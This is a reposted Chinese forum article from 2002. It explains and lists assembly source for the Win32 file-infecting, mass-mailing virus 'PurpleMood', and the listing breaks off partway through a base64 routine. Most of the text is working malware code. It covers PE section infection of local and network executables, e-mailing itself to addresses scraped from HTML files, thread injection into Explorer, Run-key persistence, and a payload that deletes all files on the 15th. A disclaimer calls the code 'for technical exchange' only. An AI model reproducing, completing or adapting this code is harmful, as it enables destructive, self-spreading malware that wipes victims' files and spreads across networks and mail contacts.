发新话题
打印

[转载]Win32.PurpleMood.6736技术文档

[转载]Win32.PurpleMood.6736技术文档

原始连接:http://www.xfocus.net/articles/200207/414.html

金州转载说明,老文章。看到原创区有个朋友发布汇编病毒源代码,想起这个文章,感觉其参考此处较多。另,此文中各部分几乎都有人详细论述过。也算经典。其中某些环节仍可使用。以上个人看法。

Win32.PurpleMood.6736技术文档

创建时间:2002-07-21
文章属性:转载
文章来源:XPurpleMood@163.com
文章提交:squirrel (suruixuan1_at_sina.com)

病毒名称 :PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简   介:1. 感染本地硬盘和网络上所有exe(GUI)文件     
       2. 搜索本地所有邮件地址,将病毒作为附件发送出去
       3. 在Explorer进程中注入线程监控程序的运行。
       4. 每月15日,发作。删除硬盘所有文件。
      
完成日期: 2002/6/20
版  本: v1.0
大  小: 6736(byte)
联系地址:  XPurpleMood@163.com
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。使用者风险自负!若有其他用途,概与本人无关。万一有转贴,请保持完整性,多谢!
*************************************************
工作流程:
1.首先得到重定位信息,保存在ebx中.
2.调用GetKBase ,得到Kernel32.dll的基地址。
3.调用GetAPIz,得到程序将使用的Kernel32中所有API.
4. 调用PayLoad判断是否满足发作条件,是则删除所有文件。否则继续。
5.判断是被感染文件还是自身(病毒在系统目录创建PurpleMood.scr).
6. 是染毒文件,则调用CreatePE来创建PurpleMood.scr,初始化(rtInit)写注册表项所需函数地址。调用MakeSCRAlive使PurpleMood.scr保持活动。
7. 如果是PurpleMood.scr,则CreateMutex设置标志,然后启动监控线程,感染PE线程,在主线程中发送邮件。

说明:
   将程序中test@pact518.hit.edu.cn替换为自己的邮件
   pact518.hit.edu.cn替换为自己的smtp服务器。
   在d:建立test目录,里面放几个exe.实验用。
   
技巧与难点分析
1.重定位信息的确定
  VStart:                  ;virus starts here :)
      call  start
  start:
      pop  ebx
      sub  ebx , offset start
  A    dd   0        
  这段代码在哪里执行都一样!现在得到的ebx就是重定位信息。
  变量A的偏移就是ebx + offset A.因为offset A是程序的第一条指令放到内存地址0时的偏移,但实际上放到了ebx.
  也可以这么理解:
  执行call start时(相当于push eip+jmp start),eip指向pop ebx,因为eip总是下一条指令的地址。pop ebx就把栈顶的eip存贮到ebx中。start在内存中(虚拟内存)的线形地址就放到ebx中了。那么A的地址显然就是(offset A - offset start)+ebx ,我们先 sub  ebx , offset start,这样以后访问A就可以直接写offset A+ebx方便些。两种理解方法实际上是一样的。

2. RVA的含义
  在CreatePE创建PurpleMood.scr和得到GetProcAddress的时候,多次使用这个概念。
  exe或dll被加载到内存,注意,都是虚拟内存,4G空间。实际上把exe文件拉大了,就好象斜阳把人的影子拉长一样。
  比如exe中代码段在文件偏移200h处,很可能在内存中偏移是1000h处,这个1000h就是RVA.RVA是距离影象的base的偏移。
  下面形象解释:
  在文件的第200h个字节就是代码段的第一条指令了(当然,未必是start).而1000h不是真正地址。比如 exe影象是00400000h,则代码段的第一条指令就是00400000h+1000h了。HMODULE就是DWORD,或者是int *,char *等,都一样。
  我们用HMODULE p=LoadLirary("a.dll"),返回值就是a.dll被加载到内存(4G)的首地址。此时叫做影象(image).
  与offset区别:
  我要说的这个offset是程序中使用的。
    比如写个小程序:
    .data
    b db 0
    a db 'abc',0
    .code
    start:
    mov  eax,offset a
    ...
    那么这个offset a是多少由compiler确定。我想是算出来的。这么计算:
        比如code的RVA是1000h,data的RVA是2000h.ImageBase=00400000h,那么a被加载后的地址就是
        00400000h+2000h+1(b占一个字节),那么offset a编译成00402001。
        事实上,我们的exe总能加载到ImageBase指定的位置,Loader不必在重定位。
  以上分析不保证正确!都是个人理解。        
        
3. @pushsz 宏.
  @pushsz MACRO  str
  LOCAL next
  call  next  ;执行 call next的时候, eip->db str,0,那么eip就被压栈
  db   str,0   
  next:
  ENDM
  @pushsz &#39;abc&#39; <=> a db &#39;abc&#39;,0 .... mov eax,offset a,push eax
  是在RoachCock的帮助下写的。
  
4. CreateRemoteThread网上很多介绍。
  关键是地址问题。同样得到重定位信息。

5. 几个小问题
  ret   相当于 pop eip.
  ret 4  相当于 pop eip + sub esp,4
  call l 相当于 push eip+ jmp l
  使用api时都保存esi,edi,ebx,ebp他们不会被改变,而ecx,edx等就不保了。需要自己保存。
  mov   eax,12345678h
_CreateRemoteThread = dword ptr $-4
  call  eax  ;run remote thread!
  _CreateRemoteThread就相当一个标号(比如 start: ... l: ...)
  它指向12345678占用的4个字节。


1.    主要函数说明
1.1 GetKBase
功能:获得Kernel32.dll模块的首地址
原理:主线程执行的第一条指令应该是BaseThreadStart的指令,在这个函数中调用的VStart(程序入口),返回地址进栈,
既程序执行完时,应该返回到BaseStartProcess函数。这个函数在Kernel32中,它的指令地址就在kernel32模块空间中并且大于HModule以它为基础,以64k(10000h)(分配粒度)为单位向上搜索具有PE结构的模块。

1.2 GetAPIz
功能:  得到将使用的Kernel32中的API线形地址
原理: 分析K32模块,在它的EXPORT表中找到GetProcAddress的地址。然后,利用GetProcAddress得到其他函数地址。

1.3 EnumDir
功能: 遍历指定目录,寻找指定类型的文件。
输入: DirName  : DWORD ,FileType:DWORD
    局部变量:LOCAL  hSearch  : DWORD
    LOCAL  DirorFile[MAX_PATH]  : DWORD
    DirName是常量。DirorFile存放中间过程,有时是DirName\*.*、有时是
DirName\FileName或DirName\DirName.
得到一个文件后,判断是否是目录。
1. 是,则递归调用EnumDir,参数是DirorFile。
2. 否,则调用AnFile,分析文件,做相应处理。

1.4  AnFile FileName:DWORD,FileType: DWORD
功能:分析文件类型(FileType)
1. FILE_ALL: 删除文件
2. FILE_EXE: 调用InfectFile感染
3. FILE_HTM: 调用ParseHTM分析

1.5  InfectFile PROC FileName : DWORD
功能: 感染FileName指定文件
流程:
1. 打开文件,分析文件,是否是合法的PE文件,不是则返回。
2. 查看感染标,已经感染则返回。
3. 判断文件是否有剩余空间存放病毒的Section,没有则返回。
4. 更新文件,添加新节,写入病毒代码,设置新节为可读可写可执行。
5.    设置感染标志。

1.6  PEThread PROC  MReloc : DWORD   
功能:遍历硬盘和网络,得到目录后调用EnumDir。休眠后重复上述过程。
说明:Meloc参数为主线城的ebx,既重定位信息,因为新线城的Register已经清0。

1.7  EnumNetWork PROC  pNetResource : DWORD
    功能: 遍历网络的实现函数,使用MPR函数,得到一个目录后调用EnumDir,类型为FILE_EXE.

1.8  EnumDisk PROC  DirName : DWORD,FileType : DWORD
    功能:  遍历硬盘的实现函数,从c->z,得到一个目录后(如‘C:’)后调用EnumDir。

1.9  MailThread
功能:邮件线程,位于主线程。
1.9.1. 调用MailInit,对PurpleMood.scr进行Base64编码,存贮在动态分配的内存中,保留内存地址在Base64_Encoded_Data。
     初始化Socket函数。
1.9.2  开始调用EnumDisk,参数为FILE_HTM,寻找*.htm*文件。EnumDisk得到的参数以"c:"开始,将其作为目录,调用EnumDir,EnumDir找到一个.htm*后调用ParseHTM,在其中搜索mailto:字符串,其后既是MailAddr了。找到后,调用SendMail发送出去,PurpleMood.scr作为附件。然后继续分析这个htm,寻找其他邮件地址,直到文件末尾。然后返回到AnFile,在返回到EnumDir,寻找下一个htm.
1.9.3  遍历硬盘后,休息一天,重新开始。

2.0  CreatePE
功能:在系统目录创建一个PurpleMood.scr
创建类型为CREATE_NEW,既如果已经存在就返回。
文件头从MDosStub开始,这个DosStub是最小的,只有一个IMAGE_DOS_HEADER那么大。没有int 21h只类的语句,所以在Dos下不能运行。先写入文件头,在写入病毒代码,FileAliagment=200h

2.1  MonitorThread  PROC  MReloc : DWORD   
找到Explorer进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr的运行和注册表的Run项.
Meloc和PEThread一样,同样是ebx.
2.1.1: LoadLibrary(PSAPI)
2.1.2: 初始化需要的api.
2.1.3: EnumProcesses,分析每个进程。
2.1.4: 分析过程
     1. OpenProcess (注意权限)
     2. EnumProcessModules,GetModuleBaseNameA
     3. 是Explorer.exe吗?不是返回,分析下一个进程。
     4. 是:
       1) VirtualAllocEx 2)WriteProcessMemory 3)CreateRemoteThread
         

2.2  MakeSCRAlive
1.   OpenMutex(..."GetProcAddress")
    成功说明,PurpleMood.scr在运行中。立即ReleaseMutex并CloseHandle。
这样可以避免,PurpleMood关闭后,Explorer的线程因为OpenMutex过而认为PurpleMood还在运行。
    失败,则调用RunPE,运行PurpleMood.scr.
2.   RegisterPE,在Software\Microsoft\Windows\CurrentVersion\Run写入PurpleMood,保证开机运行。

2.3  CreatePE
    1. 在系统目录创建PurpleMood.scr,如果已经存在则返回。
    2. 写入文件头
    3. 写入病毒体
复制内容到剪贴板
代码:
源代码:

----------------------------------------------------------------------------

测试时需要D:\test.
另外,目的油箱可能需要改变,拿自己的实验吧 :)

.386
.model flat,stdcall
option casemap:none
include useful.inc
  
.data
hi   db &#39;hi&#39;,0
ppmm  db &#39;ppmm,you need no reason to love me!&#39;,0
  
.code
main:
  mov  HostEntry,offset ret_addr
  jmp  VStart
ret_addr:
  Invoke MessageBox,NULL,offset ppmm,offset hi,0
  ret
   
CODE SEGMENT

VStart:                  ;virus starts here :)
      call  start
start:
      pop  ebx
      sub  ebx , offset start        
      
      call  GetKBase
      call  GetAPIz
      
      call  PayLoad
      
      lea   esi,[offset szEXEPath+ebx]
      push  MAX_PATH
      push  esi
      push  NULL
      mov   eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
      call  eax                    
      
      lea   edi,[offset szFilePath+ebx]      
      push  50
      push  edi
      mov   eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
      call  eax                              
      add   eax,FNameSize
      mov   SCRPathSize[ebx],eax

      lea   eax,[offset szFileName+ebx]      
      push  eax
      push  edi
      mov   eax , 12345678h
_lstrcat     = dword ptr $-4
      call  eax                              
      
      push  esi
      push  edi  
      mov   eax , 12345678h
_lstrcmpi    = dword ptr $-4
      call  eax     
      or    eax,eax
      jz    StartInfect
              
      call  CreatePE         
      call  rtInit
      call  MakeSCRAlive
Ret2Host:
      push  HostEntry[ebx]
      ret              ;此时栈顶为HostEntry,返回正常入口执行

StartInfect:           
      lea   eax,[offset nGetProcAddress+ebx] ;Mutex name
      push  eax
      push  FALSE
      push  NULL
      mov   eax , 12345678h
_CreateMutex  = dword ptr $-4
      call  eax
         
      lea   eax,[offset MonitorThread + ebx]
      push  0
      push  0
      push  ebx             ;I pass 0 first :(
      push  eax
      push  0
      push  0
      mov   eax , 12345678h
_CreateThread  = dword ptr $-4
      call  eax                        

      lea   eax,[offset PEThread + ebx]
      push  0
      push  0
      push  ebx             ;I pass 0 first :(
      push  eax
      push  0
      push  0
      call  _CreateThread[ebx]                    
           
      call  MailThread        ;while(TRUE)
     
;**********获得image of kernel32.dll的基址*****************
GetKBase:
       mov  edi , [esp+4]
       and  edi , 0FFFF0000h
       .while TRUE
          .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
            mov  esi, edi
            add  esi, [esi+03Ch]
            .if  DWORD ptr [esi] == IMAGE_NT_SIGNATURE
                .break
            .endif
          .endif
          sub  edi, 010000h
          .if edi < MIN_KERNEL_SEARCH_BASE  ;win9x
             mov  edi, 0bff70000h  ;0bff7000h=9x&#39;base
             .break
          .endif
        .endw
        mov   hKernel32[ebx],edi
        ret

GetAPIz:
      mov    edx,edi               ;edx->Kernel32_Base
      assume  edx :ptr IMAGE_DOS_HEADER
      add    edx,[edx].e_lfanew
      assume  edx:ptr IMAGE_NT_HEADERS
      mov    edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
      add    edx,hKernel32[ebx]
      assume  edx:ptr IMAGE_EXPORT_DIRECTORY
      mov    ebp,[edx].AddressOfNames
      add    ebp,hKernel32[ebx]  ;now ebp=Addr of RVAofName[]
      xor    eax,eax         ;eax AddressOfNames Index
      
      .repeat
         push  14      ;Lenth of GetProcAddress
         pop  ecx
         mov  edi,[ebp]
         add  edi,hKernel32[ebx]
         lea  esi,[offset nGetProcAddress+ebx]
         repz  cmpsb
         .if  zero?
             .break
         .endif
         add  ebp,4      ;下一个RVA
         inc  eax
      .until  eax == [edx].NumberOfNames
      
      mov    ebp, [edx].AddressOfNameOrdinals
      add    ebp, hKernel32[ebx]
      movzx  ecx, word ptr [ebp+eax*2]
      mov    ebp, [edx].AddressOfFunctions  ;get addr of the api
      add    ebp, hKernel32[ebx]
      mov    eax, [ebp+ecx*4]
      add    eax,hKernel32[ebx]   
      mov    _GetProcAddress[ebx],eax  ;Save GetProcAddress      
      
GetOApiz:

      call @api_table
      db  &#39;LoadLibraryA&#39;,0
      db  &#39;CreateThread&#39;,0
      db  &#39;CreateRemoteThread&#39;,0
      db  &#39;WinExec&#39;,0
      db  &#39;CreateMutexA&#39;,0
      db  &#39;OpenMutexA&#39;,0      
      db  &#39;ReleaseMutex&#39;,0
      db  &#39;FindFirstFileA&#39;,0
      db  &#39;FindNextFileA&#39;,0
      db  &#39;FindClose&#39;,0
      db  &#39;CreateFileA&#39;,0
      db  &#39;CreateFileMappingA&#39;,0
      db  &#39;MapViewOfFile&#39;,0
      db  &#39;UnmapViewOfFile&#39;,0
      db  &#39;SetFilePointer&#39;,0
      db  &#39;WriteFile&#39;,0
      db  &#39;CloseHandle&#39;,0
      db  &#39;VirtualAlloc&#39;,0
      db  &#39;VirtualAllocEx&#39;,0
      db  &#39;WriteProcessMemory&#39;,0
      db  &#39;VirtualFree&#39;,0
      db  &#39;VirtualFreeEx&#39;,0
      db  &#39;lstrcmpi&#39;,0
      db  &#39;lstrcpy&#39;,0
      db  &#39;lstrcat&#39;,0
      db  &#39;lstrlen&#39;,0
      db  &#39;GetFileSize&#39;,0
      db  &#39;GetSystemDirectoryA&#39;,0
      db  &#39;GetModuleFileNameA&#39;,0
      db  &#39;Sleep&#39;,0
      db  &#39;GetSystemTime&#39;,0
      db  &#39;DeleteFileA&#39;,0
      db  &#39;OpenProcess&#39;,0
@api_table:
      pop   edi
      call @api_dest  
K_Apiz:
      dd  offset  _LoadLibraryA
      dd  offset  _CreateThread        
      dd  offset  _CreateRemoteThread
      dd  offset  _WinExec
      dd  offset  _CreateMutex        
      dd  offset  _OpenMutex  
      dd  offset  _ReleaseMutex     
      dd  offset  _FindFirstFile      
      dd  offset  _FindNextFile      
      dd  offset  _FindClose         
      dd  offset  _CreateFile         
      dd  offset  _CreateFileMapping   
      dd  offset  _MapViewOfFile   
      dd  offset  _UnmapViewOfFile
      dd  offset  _SetFilePointer      
      dd  offset  _WriteFile      
      dd  offset  _CloseHandle
      dd  offset  _VirtualAlloc        
      dd  offset  _VirtualAllocEx
      dd  offset  _WriteProcessMemory
      dd  offset  _VirtualFree   
      dd  offset  _VirtualFreeEx
      dd  offset  _lstrcmpi        
      dd  offset  _lstrcpy
      dd  offset  _lstrcat         
      dd  offset  _lstrlen         
      dd  offset  _GetFileSize        
      dd  offset  _GetSystemDirectoryA  
      dd  offset  _GetModuleFileNameA
      dd  offset  _Sleep   
      dd  offset  _GetSystemTime      
      dd  offset  _DeleteFile      
      dd  offset  _OpenProcess      
K_API_NUM  =  ($-K_Apiz)/4
@api_dest:
      pop    esi      
      push    K_API_NUM
      pop    ecx      
      xor    ebp,ebp  
K_begin:
      push    ecx
      push    edi
      push    hKernel32[ebx]
      call    _GetProcAddress[ebx]
      or     eax,eax
      jz     GA_Fail
      mov    edx , [esi+ebp]  
      mov    dword ptr [edx+ebx],eax
      xor    eax,eax
      repnz   scasb       ;寻找字符串结束标志0,使edi指向下个函数名
      add    ebp,4
      pop    ecx
      loop    K_begin
           
      @pushsz  &#39;MPR.dll&#39;
      call    _LoadLibraryA[ebx]
      or     eax,eax
      jz     short GA_Fail      
      xchg    esi,eax                ;HMODULE of MPR.dll
      
Mpr_begin:
        
      @pushsz  &#39;WNetOpenEnumA&#39;
      push    esi
      call    _GetProcAddress[ebx]      
      mov    _WNetOpenEnum[ebx],eax
      @pushsz  &#39;WNetEnumResourceA&#39;
      push    esi
      call    _GetProcAddress[ebx]
      mov    _WNetEnumResource[ebx],eax
      @pushsz  &#39;WNetCloseEnum&#39;
      push    esi
      call    _GetProcAddress[ebx]
      mov    _WNetCloseEnum[ebx],eax
      
GA_Fail:      
      ret
      
PayLoad:      
      call  @PL1
SystemTime    SYSTEMTIME  <>
@PL1:  mov   esi,[esp]
      mov   eax , 12345678h
_GetSystemTime = dword ptr $-4
      call  eax      
           
movzx  eax , word ptr [esi+6]        ;SystemTime.wDay
cmp   ax,14h          ;15号吗?
jnz   PL_Exit
KILL:      
      push   FILE_ALL
      @pushsz &#39;d:\test&#39;
      call   EnumDir
PL_Exit:
      ret
   
;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC  MReloc : DWORD   

PT_Work:   
    mov    ebx,MReloc   
   
    push    FILE_EXE
    @pushsz  &#39;d:\test&#39;
    call    EnumDir
                 
    ;push    NULL
    ;call    EnumNetWork
   
    push    1000*60*60        ;sleep an hour:)
    call    _Sleep[ebx]
    jmp    short PT_Work
   
PEThread ENDP
   
;枚举网络邻居
EnumNetWork PROC  pNetResource : DWORD
   
    LOCAL  hEnum     : DWORD
    LOCAL  Count     : DWORD
    LOCAL  BufferSize  : DWORD
   
    pushad
    push   0FFFFFFFFh
    pop    Count
    push   16*1024
    pop    BufferSize
   
    lea    eax , hEnum   
    push   eax
    push   pNetResource
    push   0
    push   RESOURCETYPE_DISK
    push   RESOURCE_GLOBALNET
    mov    eax , 12345678h
_WNetOpenEnum = dword ptr $-4
    call   eax               
    or    eax,eax
    jnz    EN_Exit
   
    push   PAGE_READWRITE
    push   MEM_RESERVE or MEM_COMMIT
    push   16*1024
    push   0
    mov    eax , 12345678h
_VirtualAlloc = dword ptr $-4
    call   eax                    
    or    eax,eax
    jz    short EN_Close
    mov    pNetResource,eax   

    lea    eax,BufferSize
    push   eax
    push   pNetResource
    lea    eax,Count
    push   eax
    push   hEnum
    mov    eax , 12345678h
_WNetEnumResource  = dword ptr $-4
    call   eax           
    or    eax,eax
    jnz    short EN_Free
        
    mov    ecx,Count
    mov    edi,pNetResource
    assume  edi:ptr NETRESOURCEA

EN_Loop:
    push   ecx
    mov    eax,[edi].dwUsage
    and    al,2
    .IF    al == 2
   
          push   edi      
          call   EnumNetWork      
    .ELSE
          mov    eax,[edi].lpRemoteName         
          push   FILE_EXE
          push   eax
          call   EnumDir

    .ENDIF
    add    edi,20h  ; sizeof NETRESOURCE
    pop    ecx
loop EN_Loop

EN_Free:
    push    MEM_RELEASE
    push    0
    push    pNetResource  
    mov    eax , 12345678h
_VirtualFree  = dword ptr $-4
    call    eax  
   
EN_Close:  
    push    hEnum
    mov    eax , 12345678h
_WNetCloseEnum = dword ptr $-4
    call    eax  
   
EN_Exit:
    popad
    ret  4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC  DirName : DWORD,FileType : DWORD
      
     .REPEAT     
          push  FileType
          push  DirName
          call  EnumDir
                  
          mov  eax,DirName
          inc  byte ptr [eax]         
          mov  al,byte ptr[eax]     
     .UNTIL  al > &#39;z&#39;
     mov  byte ptr [eax] , &#39;c&#39;
     
     ret  8
     
EnumDisk  ENDP
  
;************EnumDir************
;遍历DirName,寻找FileType类型文件
;*******************************
EnumDir PROC  DirName  : DWORD , FileType:DWORD

      LOCAL  hSearch          : DWORD
      LOCAL  DirorFile[MAX_PATH]  : DWORD

      pushad      
      push   DirName
      lea    esi,DirorFile
      push   esi
      mov    eax , 12345678h
_lstrcpy      = dword ptr $-4
      call   eax  
           
      @pushsz &#39;\*.*&#39;
      push   esi                  ;DirorFile
      call   _lstrcat[ebx]
      
      lea   edi,[offset wfd+ebx]
      push  edi
      push  esi
      mov    eax , 12345678h
_FindFirstFile = dword ptr $-4
      call   eax      
      cmp   eax,INVALID_HANDLE_VALUE     
      jz    ED_Exit
      mov   hSearch,eax

      .REPEAT
        .if   byte ptr [wfd+44+ebx]==&#39;.&#39;
             jmp short EN_NEXT
        .endif

        push   DirName
        push   esi
        call   _lstrcpy[ebx]

        @pushsz &#39;\&#39;
        push   esi
        call   _lstrcat[ebx]
        
        lea    eax,[wfd+44+ebx]
        push   eax
        push   esi                ;DirorFile
        call   _lstrcat[ebx]

        mov    eax , dword ptr [wfd+ebx]
        and    eax , FILE_ATTRIBUTE_DIRECTORY
        .if    eax ==FILE_ATTRIBUTE_DIRECTORY
              push  dword ptr FileType
              push  esi
              call  EnumDir
        .else                        ;是文件      
        
              push  dword ptr FileType
              push  esi
              call  AnFile
        .endif      
EN_NEXT:   
        push  edi              
        push  hSearch
        mov   eax , 12345678h
_FindNextFile    = dword ptr $-4
        call  eax  
         
      .UNTIL  eax==0           ;FindNexeFile fail
      
ED_Close:
      push  hSearch
      mov   eax , 12345678h
_FindClose    = dword ptr $-4
      call  eax        
ED_Exit:   
      popad
      ret  8
EnumDir ENDP


;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm)
AnFile PROC  FileName:DWORD,FileType:DWORD

      pushad
      
AF_00:  lodsb
      or  al,al
      jnz  AF_00
      .if     FileType == FILE_ALL  ;all         
            push  FileName
            mov    eax , 12345678h
_DeleteFile     = dword ptr $-4
            call   eax              
      .elseif  FileType == FILE_EXE  ;exe      
             mov  eax,[esi-5]
            .if  eax == &#39;exe.&#39;                    
               push  FileName
               call  InfectFile
            .endif               
      .else                   ;FileType = FILE_HTM
AF_01:        sub  esi , 2
            lodsb
            cmp  al,&#39;.&#39;
            jnz  AF_01
            mov  eax,[esi-1]  
            .if  eax == &#39;mth.&#39;                 
               push   FileName
               call   Parse_HTM
            .endif              
      .endif
      popad
      ret 8
AnFile ENDP

;感染PE文件
InfectFile PROC FileName : DWORD

      LOCAL  hFile   : DWORD
      LOCAL  hMapping : DWORD
      LOCAL  pMapping : DWORD
      LOCAL  ByteWrite: DWORD

      pushad
      push  NULL
      push  FILE_ATTRIBUTE_NORMAL
      push  OPEN_EXISTING
      push  NULL
      push  FILE_SHARE_READ+FILE_SHARE_WRITE
      push  GENERIC_READ+GENERIC_WRITE
      push  FileName
      mov    eax , 12345678h
_CreateFile = dword ptr $-4
      call   eax      
      cmp  eax,INVALID_HANDLE_VALUE
      jz   IF_Exit
      mov  hFile,eax

      push  0
      push  0
      push  0
      push  PAGE_READWRITE
      push  NULL
      push  hFile
      mov    eax , 12345678h
_CreateFileMapping = dword ptr $-4
      call   eax  
      or    eax,eax
      jz    IF_F3      
      mov   hMapping , eax

      push  0
      push  0
      push  0
      push  FILE_MAP_READ+FILE_MAP_WRITE
      push  hMapping
      mov   eax , 12345678h
_MapViewOfFile = dword ptr $-4
      call  eax            
      or    eax,eax
      jz    IF_F2         
      mov   pMapping,eax         
      mov   esi,eax
     
      assume esi :ptr IMAGE_DOS_HEADER
      .IF  [esi].e_magic!=IMAGE_DOS_SIGNATURE  
         jmp  IF_F1
      .ENDIF
     
      .IF  [esi].e_lfarlc!=040h
         jmp  IF_F1
      .ENDIF
      
      add  esi,[esi].e_lfanew            ;此时edx指向PE文件头
      assume esi:ptr IMAGE_NT_HEADERS
      .IF  [esi].Signature!=IMAGE_NT_SIGNATURE   ;是PE文件吗?
         jmp  IF_F1
      .ENDIF
      .IF word ptr [esi].OptionalHeader.Subsystem!=2
         jmp  IF_F1
      .ENDIF
      
      .IF word ptr [esi+1ah]==0815h
         jmp  IF_F1
      .ENDIF
      
      mov  eax,[esi].OptionalHeader.AddressOfEntryPoint
      add  eax,[esi].OptionalHeader.ImageBase
      mov  HostEntry[ebx],eax               ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
      movzx  eax,[esi].FileHeader.NumberOfSections
      mov   ecx,28h
      mul   ecx   
      
      lea   edi,[esi]
      sub   edi,pMapping
      add   eax,edi
      add   eax,18h                 
      movzx  edi,[esi].FileHeader.SizeOfOptionalHeader
      add   eax,edi
      mov   edi,eax
      add   edi,pMapping          ;I forgot this first
      add   eax,28h
      
      .IF  eax>[esi].OptionalHeader.SizeOfHeaders
         jmp  IF_F1
      .ENDIF

;*****************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*****************************************

      inc  [esi].FileHeader.NumberOfSections     
      assume  edi:ptr IMAGE_SECTION_HEADER
      mov    dword ptr[edi],00736A78h  ;&#39;xjs&#39;
      push [esi].OptionalHeader.SizeOfImage
      pop  [edi].VirtualAddress
      mov  eax,offset VEnd-offset VStart
      mov  [edi].Misc.VirtualSize,eax
      mov  ecx,[esi].OptionalHeader.FileAlignment
      div  ecx
      inc  eax
      mul  ecx
      mov  [edi].SizeOfRawData,eax

      lea  eax,[edi-28h+14h]           ;PointerToRawData
      mov  eax,[eax]
      lea  ecx,[edi-28h+10h]           ;SizeOfRawData
      mov  ecx,[ecx]
      add  eax,ecx
      mov  [edi].PointerToRawData,eax
      mov  [edi].Characteristics,0E0000020h  ;可读可写可执行
  
;***************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************

      mov  eax,[edi].Misc.VirtualSize
      mov  ecx,[esi].OptionalHeader.SectionAlignment
      div  ecx
      inc  eax
      mul  ecx
      add  eax,[esi].OptionalHeader.SizeOfImage
      mov  [esi].OptionalHeader.SizeOfImage,eax
      mov  eax,[edi].VirtualAddress
      mov  [esi].OptionalHeader.AddressOfEntryPoint,eax
      mov  word ptr [esi+1ah],0815h  ;写入感染标志

      push  FILE_BEGIN
      push  0
      push  [edi].PointerToRawData
      push  hFile
      mov  eax , 12345678h
_SetFilePointer = dword ptr $-4
      call  eax  
      
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
      push  0
      lea  eax,ByteWrite
      push  eax
      push  [edi].SizeOfRawData
      lea  eax,[offset VStart+ebx]
      push  eax
      push  hFile
      mov  eax , 12345678h
_WriteFile = dword ptr $-4
      call  eax  

IF_F1:
     push  pMapping
      mov    eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
      call   eax      
IF_F2:
     push  hMapping
     call  _CloseHandle[ebx]     
IF_F3:
     push  hFile
     call  _CloseHandle[ebx]
IF_Exit:
     popad
     ret  4
InfectFile ENDP     


;*****************电子邮件传播线程***************************
;从本地、网络的*.htm*获得邮件地址.
;***********************************************************
MailThread:
        call  MailInit
MT_Work:

        push   FILE_HTM
        @pushsz &#39;c:&#39;
        call   EnumDisk
   
        push  1000*60*60*24        ;sleep a day :)
        call  _Sleep[ebx]
        jmp   short  MT_Work
        
;*********************************************************   
;Mutate virus to BASE64 only once
;*********************************************************  
MailInit PROC

      LOCAL  hFile   : DWORD
      LOCAL  hMapping : DWORD
      LOCAL  pMapping : DWORD
   
      pushad
      xor   edi,edi
      push  edi
      push  FILE_ATTRIBUTE_NORMAL
      push  OPEN_EXISTING
      push  edi
      push  FILE_SHARE_READ
      push  GENERIC_READ
      lea   eax,[offset szFilePath+ebx]
      push  eax
      call  _CreateFile[ebx]
      mov   hFile,eax
      
      push  edi
      push  edi
      push  edi
      push  PAGE_READONLY
      push  edi
      push  eax
      call  _CreateFileMapping[ebx]
      mov   hMapping,eax

      push  edi
      push  edi
      push  edi
      push  FILE_MAP_READ
      push  eax
      call  _MapViewOfFile[ebx]
      mov   pMapping,eax
      
      push  PAGE_READWRITE
      push  MEM_RESERVE or MEM_COMMIT
      push  SIZEOF_VIRUS_FILE*2
      push  edi
      call  _VirtualAlloc[ebx]
      mov   Base64_Encoded_Data[ebx],eax
        
      mov   esi,pMapping
      mov   edi,Base64_Encoded_Data[ebx]     
      call  EncodeBase64
   
     
      @pushsz  &#39;WSOCK32.DLL&#39;
      call    _LoadLibraryA[ebx]
      xchg    eax,edi  ;hSockDll
            
      @pushsz  &#39;WSAStartup&#39;
      push    edi
      call    _GetProcAddress[ebx]
      lea    esi,[offset WSA_Data+ebx]
      push    esi
push    0202h     ;!!!warning 2.2
call    eax

      @pushsz  &#39;socket&#39;
      push    edi
      call    _GetProcAddress[ebx]
      mov    [offset _socket+ebx],eax
      
           
      @pushsz  &#39;gethostbyname&#39;
      push    edi
      call    _GetProcAddress[ebx]
      @pushsz  &#39;pact518.hit.edu.cn&#39;
call    eax
mov    esi,[eax+12]
lodsd
push    [eax]
pop    [offset ServIP + ebx]

@pushsz  &#39;connect&#39;
push    edi
      call    _GetProcAddress[ebx]
mov    [offset _connect+ebx],eax

@pushsz  &#39;send&#39;
push    edi
      call    _GetProcAddress[ebx]
mov    [offset _send+ebx],eax

@pushsz  &#39;closesocket&#39;
push    edi
      call    _GetProcAddress[ebx]
mov    [offset _closecsoket+ebx],eax  

MI_Close3:
push  pMapping
call  _UnmapViewOfFile[ebx]  
MI_Close2:
push  hMapping
call  _CloseHandle[ebx]
MI_Close:
push  hFile
call  _CloseHandle[ebx]  
MI_Exit:
      popad
      ret
MailInit ENDP

;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
     
      LOCAL  BASE64_lines : DWORD
      
      xor ecx,ecx
      mov BASE64_lines,ecx
      cld
      
BASE64encode_loop:
      cmp ecx,SIZEOF_VIRUS_FILE
      jae BASE64__exit
      xor edx,edx
      mov dh,byte ptr [esi+ecx]
      inc ecx
      cmp ecx,SIZEOF_VIRUS_FILE
      jae BASE64__00
      mov dl,byte ptr [esi+ecx]

BASE64__00:
inc ecx
      shl edx,08h
      cmp ecx,SIZEOF_VIRUS_FILE
      jae BASE64__01
      mov dl,byte ptr [esi+ecx]

BASE64__01:
  inc ecx
      mov eax,edx
      and eax,00fc0000h
